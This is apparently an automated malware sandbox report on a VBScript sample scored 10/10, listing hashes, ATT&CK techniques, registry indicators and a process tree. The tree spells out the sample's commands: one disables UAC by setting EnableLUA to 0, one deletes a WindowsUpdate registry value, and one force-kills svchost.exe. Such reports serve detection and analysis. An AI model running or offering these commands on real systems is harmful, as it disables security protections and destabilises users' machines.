dd37c75a0da7c3be6f4dc3594cf7bd3460200593664a5344eb0c9120ef61d86f

Analysis

max time kernel
18s
max time network
19s
platform
windows10-2004_x64
resource
win10v2004-20240412-en
resource tags

arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
submitted
15/04/2024, 23:47

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

vbs.vbs
Size

1KB
MD5

239bbcf5668cd4778530d27aa4a50d3a
SHA1

694809c0a1c739bc85d9790460153caff768b71f
SHA256

dd37c75a0da7c3be6f4dc3594cf7bd3460200593664a5344eb0c9120ef61d86f
SHA512

08f1f2437286743964142fafe6db8c62e02e2cfbdeb5b9842a1f555bc00cb615b8fc98dc355067045a20afbbc3d60b09c61018ead2407105cce2e9c877440057

Score

10^/10

evasion trojan

Malware Config

Signatures

UAC bypass 3 TTPs 2 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-259785868-298165991-4178590326-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Kills process with taskkill 1 IoCs

evasion

pid	Process
4576	taskkill.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
2364	reg.exe
428	reg.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4576	taskkill.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2384 wrote to memory of 4420	2384	WScript.exe	85
PID 2384 wrote to memory of 4420	2384	WScript.exe	85
PID 2384 wrote to memory of 1364	2384	WScript.exe	87
PID 2384 wrote to memory of 1364	2384	WScript.exe	87
PID 2384 wrote to memory of 4380	2384	WScript.exe	89
PID 2384 wrote to memory of 4380	2384	WScript.exe	89
PID 4420 wrote to memory of 2364	4420	cmd.exe	91
PID 4420 wrote to memory of 2364	4420	cmd.exe	91
PID 4380 wrote to memory of 4304	4380	wscript.exe	90
PID 4380 wrote to memory of 4304	4380	wscript.exe	90
PID 4380 wrote to memory of 4980	4380	wscript.exe	93
PID 4380 wrote to memory of 4980	4380	wscript.exe	93
PID 4304 wrote to memory of 428	4304	cmd.exe	95
PID 4304 wrote to memory of 428	4304	cmd.exe	95
PID 4380 wrote to memory of 4576	4380	wscript.exe	102
PID 4380 wrote to memory of 4576	4380	wscript.exe	102

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\vbs.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2384
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4420
- - C:\Windows\System32\reg.exe
    C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    - Modifies registry key
    PID:2364
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" DELETE "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate" /v ABC_DEF /f
  2⤵
  PID:1364
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\vbs.vbs" uac
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4380
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /k C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4304
  - - C:\Windows\System32\reg.exe
      C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      Modifies registry key
      PID:428
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" DELETE "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate" /v ABC_DEF /f
    3⤵
    PID:4980
- - C:\Windows\System32\taskkill.exe
    "C:\Windows\System32\taskkill.exe" /f /im svchost.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4576